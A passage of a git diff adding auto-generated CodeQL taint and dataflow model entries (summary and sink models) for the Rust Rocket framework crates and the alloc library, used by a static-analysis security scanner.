"ReturnValue.Field[crate::uri::authority::Authority::host].Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::authority::Authority::host].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::uri::authority::Authority::host].Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[2]", "ReturnValue.Field[crate::uri::authority::Authority::port]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::host", "Argument[self].Field[crate::uri::authority::Authority::host].Field[crate::parse::indexed::Indexed::Concrete(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[3]", "ReturnValue.Field[crate::uri::authority::Authority::port]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::user_info", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::fmt::formatter::Formatter::inner]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[crate::uri::fmt::formatter::PrefixedRouteUri(0)]", "ReturnValue", "value", "dfc-generated"] @@ -140,12 +154,16 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self].Field[crate::uri::fmt::formatter::SuffixedRouteUri(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::host::Host(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::host::Host(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[0].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::port", "Argument[self].Field[crate::uri::host::Host(0)].Field[crate::uri::authority::Authority::port]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_absolute", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_absolute", "Argument[self].Field[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_absolute", "Argument[self].Field[crate::uri::host::Host(0)].Reference", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::to_authority", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Origin(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::append", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_normalized", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::map_path", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -154,12 +172,15 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::path", "Argument[self].Field[crate::uri::origin::Origin::source]", "ReturnValue.Field[crate::uri::path_query::Path::source].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::query", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::path_query::Data::value].Field[crate::parse::indexed::Indexed::Indexed(0)]", "ReturnValue.Field[crate::uri::path_query::Data::value].Field[crate::parse::indexed::Indexed::Indexed(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self].Field[crate::uri::path_query::Data::value].Field[crate::parse::indexed::Indexed::Indexed(1)]", "ReturnValue.Field[crate::uri::path_query::Data::value].Field[crate::parse::indexed::Indexed::Indexed(1)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::path]", "ReturnValue.Field[crate::uri::reference::Reference::path]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::query]", "ReturnValue.Field[crate::uri::reference::Reference::query]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0].Field[crate::uri::origin::Origin::source]", "ReturnValue.Field[crate::uri::reference::Reference::source]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue.Field[crate::uri::reference::Reference::authority].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::try_from", "Argument[0].Field[crate::uri::uri::Uri::Reference(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::prepend", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::authority", "Argument[self].Field[crate::uri::reference::Reference::authority].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::const_new", "Argument[1]", "ReturnValue.Field[crate::uri::reference::Reference::authority]", "value", "dfc-generated"] @@ -171,6 +192,8 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "ReturnValue.Field[crate::uri::reference::Reference::authority]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::scheme", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_query_fragment_of", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::count", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[0]", "ReturnValue.Field[crate::uri::segments::Segments::source]", "value", "dfc-generated"] @@ -200,6 +223,7 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -213,3 +237,25 @@ extensions: - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "crate::parse::uri::parser::complete", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket:rocket_http", "crate::parse::uri::scheme_from_str", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::from_uri_param", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[4]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::render", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::with_suffix", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::append", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::new", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[2]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::into_owned", "Argument[self]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[1]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[4]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rwf2/Rocket:rocket_http", "::raw", "Argument[5]", "pointer-access", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml index 64aa3ccb425..4eb2dc1c577 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-db_pools-rocket_db_pools.model.yml @@ -4,11 +4,25 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::close", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::get", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::init", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::deref_mut", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::into_inner", "Argument[self].Field[crate::database::Connection(0)]", "ReturnValue", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::info", "Argument[self].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::info", "Argument[self].Field[crate::database::Initializer(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::fairing::info_kind::Info::name]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::on_shutdown", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::on_shutdown", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::close", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::get", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::init", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::close", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::get", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/db_pools:rocket_db_pools", "::init", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml index bfd8737a5e3..133692f2ce8 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-dyn_templates-rocket_dyn_templates.model.yml @@ -7,7 +7,14 @@ extensions: - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::context", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::context", "Argument[self].Field[crate::context::manager::ContextManager(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::new", "Argument[0]", "ReturnValue.Field[crate::context::manager::ContextManager(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::on_ignite", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::on_ignite", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::on_liftoff", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::on_liftoff", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::custom", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::finalize", "Argument[self].Field[crate::template::Template::value].Field[crate::result::Result::Ok(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/dyn_templates:rocket_dyn_templates", "::try_custom", "Argument[0]", "ReturnValue.Field[crate::fairing::TemplateFairing::callback].Reference", "value", "dfc-generated"] - addsTo: pack: codeql/rust-all extensible: sinkModel diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml index 552ca54324b..e78dc4b47f1 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-sync_db_pools-rocket_sync_db_pools.model.yml @@ -4,6 +4,7 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::fairing", "Argument[0]", "ReturnValue.Field[crate::fairing::ad_hoc::AdHoc::name]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/sync_db_pools:rocket_sync_db_pools", "::from", "Argument[0]", "ReturnValue.Field[crate::error::Error::Config(0)]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml index 66aadb9919b..6f12d3f7f37 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-https-github.com-rwf2-Rocket-tree-v0.5-contrib-ws-rocket_ws.model.yml @@ -4,9 +4,16 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::io", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::io", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::io", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::io", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::accept_key", "Argument[self].Field[crate::websocket::WebSocket::key]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::channel", "Argument[0]", "ReturnValue.Field[crate::websocket::Channel::handler].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::channel", "Argument[self]", "ReturnValue.Field[crate::websocket::Channel::ws]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[0]", "Argument[self].Field[crate::websocket::WebSocket::config]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[0]", "ReturnValue.Field[crate::websocket::WebSocket::config]", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::config", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::stream", "Argument[0]", "ReturnValue.Field[crate::websocket::MessageStream::handler].Reference", "value", "dfc-generated"] - ["repo:https://github.com/rwf2/Rocket/tree/v0.5/contrib/ws:rocket_ws", "::stream", "Argument[self]", "ReturnValue.Field[crate::websocket::MessageStream::ws]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-manual_routes.model.yml b/rust/ql/lib/ext/generated/rocket/repo-manual_routes.model.yml new file mode 100644 index 00000000000..cbefe026a95 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-manual_routes.model.yml @@ -0,0 +1,9 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::manual_routes", "::handle", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::manual_routes", "::handle", "Argument[1]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::manual_routes", "::handle", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-state.model.yml b/rust/ql/lib/ext/generated/rocket/repo-state.model.yml new file mode 100644 index 00000000000..eb0be86bc6e --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-state.model.yml @@ -0,0 +1,10 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::state", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::state", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::state", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::state", "::from_request", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-static-files.model.yml b/rust/ql/lib/ext/generated/rocket/repo-static-files.model.yml new file mode 100644 index 00000000000..68eee7cfaf4 --- /dev/null +++ b/rust/ql/lib/ext/generated/rocket/repo-static-files.model.yml @@ -0,0 +1,7 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo::static-files", "crate::manual::second", "Argument[0]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml b/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml index f2bb481b1af..caf88cb7a9e 100644 --- a/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml +++ b/rust/ql/lib/ext/generated/rocket/repo-tls.model.yml @@ -4,4 +4,6 @@ extensions: pack: codeql/rust-all extensible: summaryModel data: + - ["repo::tls", "::on_liftoff", "Argument[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo::tls", "::on_liftoff", "Argument[self]", "ReturnValue.Reference", "value", "dfc-generated"] - ["repo::tls", "::try_launch", "Argument[self].Field[crate::redirector::Redirector::port]", "Argument[0].Field[crate::config::config::Config::port]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rust/lang-alloc.model.yml b/rust/ql/lib/ext/generated/rust/lang-alloc.model.yml index 2b91ef42107..753581c7642 100644 --- a/rust/ql/lib/ext/generated/rust/lang-alloc.model.yml +++ b/rust/ql/lib/ext/generated/rust/lang-alloc.model.yml @@ -5,14 +5,18 @@ extensions: extensible: summaryModel data: - ["lang:alloc", "<&&str as crate::string::SpecToString>::spec_to_string", "Argument[self].Reference.Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "<&crate::collections::btree::map::BTreeMap as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::Iter::length]", "value", "dfc-generated"] + - ["lang:alloc", "<&crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::linked_list::LinkedList::head]", "ReturnValue.Field[crate::collections::linked_list::Iter::head]", "value", "dfc-generated"] + - ["lang:alloc", "<&crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::linked_list::LinkedList::len]", "ReturnValue.Field[crate::collections::linked_list::Iter::len]", "value", "dfc-generated"] + - ["lang:alloc", "<&crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::linked_list::LinkedList::tail]", "ReturnValue.Field[crate::collections::linked_list::Iter::tail]", "value", "dfc-generated"] - ["lang:alloc", "<&crate::string::String as crate::str::pattern::Pattern>::as_utf8_pattern", "Argument[self]", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::str::pattern::Utf8Pattern::StringPattern(0)]", "value", "dfc-generated"] - - ["lang:alloc", "<&str as crate::string::SpecToString>::spec_to_string", "Argument[self].Reference.Field[crate::string::String::vec]", "ReturnValue.Field[crate::string::String::vec]", "value", "dfc-generated"] - - ["lang:alloc", "<&str as crate::string::SpecToString>::spec_to_string", "Argument[self].Reference.Reference", "ReturnValue", "value", "dfc-generated"] - - ["lang:alloc", "<&str as crate::string::SpecToString>::spec_to_string", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:alloc", "<&mut crate::collections::btree::map::BTreeMap as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::btree::map::BTreeMap::length]", "ReturnValue.Field[crate::collections::btree::map::IterMut::length]", "value", "dfc-generated"] + - ["lang:alloc", "<&mut crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", "Argument[self].Field[crate::collections::linked_list::LinkedList::head]", "ReturnValue.Field[crate::collections::linked_list::IterMut::head]", "value", "dfc-generated"] + - ["lang:alloc", "<&mut crate::collections::linked_list::LinkedList as crate::iter::traits::collect::IntoIterator>::into_iter", 